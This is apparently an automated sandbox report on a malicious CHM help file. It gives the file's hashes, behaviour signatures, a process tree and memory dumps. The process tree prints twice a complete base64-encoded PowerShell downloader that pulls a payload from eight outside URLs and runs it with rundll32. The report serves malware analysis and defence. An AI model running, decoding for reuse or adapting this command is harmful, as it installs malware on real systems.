2733e6c3a7b6209f42f7f0cd9d56abafdc34f331d2ccbb5e4916a7ac4b16ac32

General

Target

README-pZS6503.chm
Size

14KB
MD5

ca6ad5ab3957aa103dd2cfd3168cc71b
SHA1

342d359f3a1600083b4f73f9c1c773622caa3857
SHA256

2733e6c3a7b6209f42f7f0cd9d56abafdc34f331d2ccbb5e4916a7ac4b16ac32
SHA512

ebc284d1f58a359d134a6342b6d07dacdb6e30453d7708ee7aa963b39219cfd1ce073aa68ba206572418ce42c2b4d995c82c771f1f4c1674c937f7a774f3dad3
SSDEEP

96:MV/veDPCotsVtkTwy/v0TKjmfC06fIhQK3od5o0TZ386X1pYw5aajiG:Mh7tkTwy/vB6KhIhQK3odpR86lS6j5

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 8 IoCs

flow	pid	Process
15	2604	powershell.exe
18	2604	powershell.exe
23	2604	powershell.exe
29	2604	powershell.exe
32	2604	powershell.exe
35	2604	powershell.exe
38	2604	powershell.exe
43	2604	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2604	powershell.exe
2604	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2604	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
5052	hh.exe
5052	hh.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5052 wrote to memory of 4500	5052	hh.exe	86
PID 5052 wrote to memory of 4500	5052	hh.exe	86
PID 4500 wrote to memory of 2604	4500	cmd.exe	87
PID 4500 wrote to memory of 2604	4500	cmd.exe	87

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\README-pZS6503.chm
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAdwBlAGwAZgBhAHIAaQBzAG0AIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBoAG8AdABlAGwAbABvAHMAbQBpAHIAdABvAHMALgBjAG8AbQAvAHMAagBuAC8ANwB0AHcATABFADUAbwBEAG0AMwA3ACwAaAB0AHQAcABzADoALwAvAGMAYQByAGwAYQBkAHYAbwBnAGEAZABhAHQAcgBpAGIAdQB0AGEAcgBpAGEALgBjAG8AbQAvAHQAdgBuAHEAOQAvAGIAMgBmAGYAUwBJAG8AMgBNAEUALABoAHQAdABwAHMAOgAvAC8AYwBpAHQAeQB0AGUAYwBoAC0AcwBvAGwAdQB0AGkAbwBuAHMALgBjAG8AbQAvADYATQBoADEAawAvAEEANwBxADEAYwBPAGsAVAAwAHgASQAsAGgAdAB0AHAAcwA6AC8ALwBlAHIAZwAtAGUAZwAuAGMAbwBtAC8AbwBjAG0AYgAvAFgANQBFAGUAegBiAEwAOABZAFAALABoAHQAdABwAHMAOgAvAC8AegBhAGkAbgBjAG8ALgBuAGUAdAAvAE8AZABPAFUALwBkAFoATgBDAE0AeABxAGQAVABWAHMAWAAsAGgAdAB0AHAAcwA6AC8ALwBtAHIAYwByAGkAegBxAHUAbgBhAC4AYwBvAG0ALwBMADcAYwBjAE4ALwBiAHEAaQBmAFYAbAA1AFoAWABsADEASQAsAGgAdAB0AHAAcwA6AC8ALwBnAHMAcwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4AbAB0AGQALgBjAG8AbQAvAG8AawBTAGYAagAvAEgAZwBFAEcAUgBEAEQAUwA2AGEAOAAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBnAG0AYwBBAEEAaQBoAGYAVwByAGcAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAdAByAGEAZABpAHQAaQBvAG4AaQBzAG0AIABpAG4AIAAkAHcAZQBsAGYAYQByAGkAcwBtACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJAB0AHIAYQBkAGkAdABpAG8AbgBpAHMAbQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANgAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgBhAGwAbABvAG4AZQAuAEIAbwB1AGMAaABlAGUASQBuAGQAbwBnAGUAbgBpAGQAZQA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGIAYQBsAGwAbwBuAGUALgBCAG8AdQBjAGgAZQBlAEkAbgBkAG8AZwBlAG4AaQBkAGUAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ATgBvAEwAbwBnAG8AIAAtAE4AbwBQAHIAbwBmAGkAbABlACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAFEAQQBSAFEAQgBOAEEARgBBAEEAWABBAEIAaQBBAEcARQBBAGIAQQBCAHMAQQBHADgAQQBiAGcAQgBsAEEAQwA0AEEAUQBnAEIAdgBBAEgAVQBBAFkAdwBCAG8AQQBHAFUAQQBaAFEAQgBKAEEARwA0AEEAWgBBAEIAdgBBAEcAYwBBAFoAUQBCAHUAQQBHAGsAQQBaAEEAQgBsAEEAQwB3AEEAVABRAEIAdgBBAEgAUQBBAFoAQQBBADcAQQBBAD0APQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7AH0AfQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4500
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile -encodedcommand UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7ACQAdwBlAGwAZgBhAHIAaQBzAG0AIAA9ACAAKAAiAGgAdAB0AHAAcwA6AC8ALwBoAG8AdABlAGwAbABvAHMAbQBpAHIAdABvAHMALgBjAG8AbQAvAHMAagBuAC8ANwB0AHcATABFADUAbwBEAG0AMwA3ACwAaAB0AHQAcABzADoALwAvAGMAYQByAGwAYQBkAHYAbwBnAGEAZABhAHQAcgBpAGIAdQB0AGEAcgBpAGEALgBjAG8AbQAvAHQAdgBuAHEAOQAvAGIAMgBmAGYAUwBJAG8AMgBNAEUALABoAHQAdABwAHMAOgAvAC8AYwBpAHQAeQB0AGUAYwBoAC0AcwBvAGwAdQB0AGkAbwBuAHMALgBjAG8AbQAvADYATQBoADEAawAvAEEANwBxADEAYwBPAGsAVAAwAHgASQAsAGgAdAB0AHAAcwA6AC8ALwBlAHIAZwAtAGUAZwAuAGMAbwBtAC8AbwBjAG0AYgAvAFgANQBFAGUAegBiAEwAOABZAFAALABoAHQAdABwAHMAOgAvAC8AegBhAGkAbgBjAG8ALgBuAGUAdAAvAE8AZABPAFUALwBkAFoATgBDAE0AeABxAGQAVABWAHMAWAAsAGgAdAB0AHAAcwA6AC8ALwBtAHIAYwByAGkAegBxAHUAbgBhAC4AYwBvAG0ALwBMADcAYwBjAE4ALwBiAHEAaQBmAFYAbAA1AFoAWABsADEASQAsAGgAdAB0AHAAcwA6AC8ALwBnAHMAcwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4AbAB0AGQALgBjAG8AbQAvAG8AawBTAGYAagAvAEgAZwBFAEcAUgBEAEQAUwA2AGEAOAAsAGgAdAB0AHAAcwA6AC8ALwBuAGEAeQBhAGQAbwBmAG8AdQBuAGQAYQB0AGkAbwBuAC4AbwByAGcALwB3AFgAYQBLAG0ALwBnAG0AYwBBAEEAaQBoAGYAVwByAGcAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAdAByAGEAZABpAHQAaQBvAG4AaQBzAG0AIABpAG4AIAAkAHcAZQBsAGYAYQByAGkAcwBtACkAIAB7AHQAcgB5ACAAewB3AGcAZQB0ACAAJAB0AHIAYQBkAGkAdABpAG8AbgBpAHMAbQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANgAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAYgBhAGwAbABvAG4AZQAuAEIAbwB1AGMAaABlAGUASQBuAGQAbwBnAGUAbgBpAGQAZQA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAGUAbgB2ADoAVABFAE0AUABcAGIAYQBsAGwAbwBuAGUALgBCAG8AdQBjAGgAZQBlAEkAbgBkAG8AZwBlAG4AaQBkAGUAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0ATgBvAEwAbwBnAG8AIAAtAE4AbwBQAHIAbwBmAGkAbABlACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAFEAQQBSAFEAQgBOAEEARgBBAEEAWABBAEIAaQBBAEcARQBBAGIAQQBCAHMAQQBHADgAQQBiAGcAQgBsAEEAQwA0AEEAUQBnAEIAdgBBAEgAVQBBAFkAdwBCAG8AQQBHAFUAQQBaAFEAQgBKAEEARwA0AEEAWgBBAEIAdgBBAEcAYwBBAFoAUQBCAHUAQQBHAGsAQQBaAEEAQgBsAEEAQwB3AEEAVABRAEIAdgBBAEgAUQBBAFoAQQBBADcAQQBBAD0APQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANAA7AH0AfQA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2604

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4oth1amn.sme.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2604-144-0x0000026B514A0000-0x0000026B514C2000-memory.dmp

Filesize
136KB

Download
memory/2604-149-0x0000026B514D0000-0x0000026B514E0000-memory.dmp

Filesize
64KB

Download
memory/2604-150-0x0000026B514D0000-0x0000026B514E0000-memory.dmp

Filesize
64KB

Download
memory/2604-151-0x0000026B514D0000-0x0000026B514E0000-memory.dmp

Filesize
64KB

Download
memory/2604-152-0x0000026B6A490000-0x0000026B6AC36000-memory.dmp

Filesize
7.6MB

Download
memory/2604-154-0x0000026B50980000-0x0000026B51441000-memory.dmp

Filesize
10.8MB

Download
memory/2604-155-0x0000026B514D0000-0x0000026B514E0000-memory.dmp

Filesize
64KB

Download
memory/2604-156-0x0000026B514D0000-0x0000026B514E0000-memory.dmp

Filesize
64KB

Download
memory/2604-157-0x0000026B514D0000-0x0000026B514E0000-memory.dmp

Filesize
64KB

Download
memory/2604-163-0x0000026B50980000-0x0000026B51441000-memory.dmp

Filesize
10.8MB

Download

Analysis

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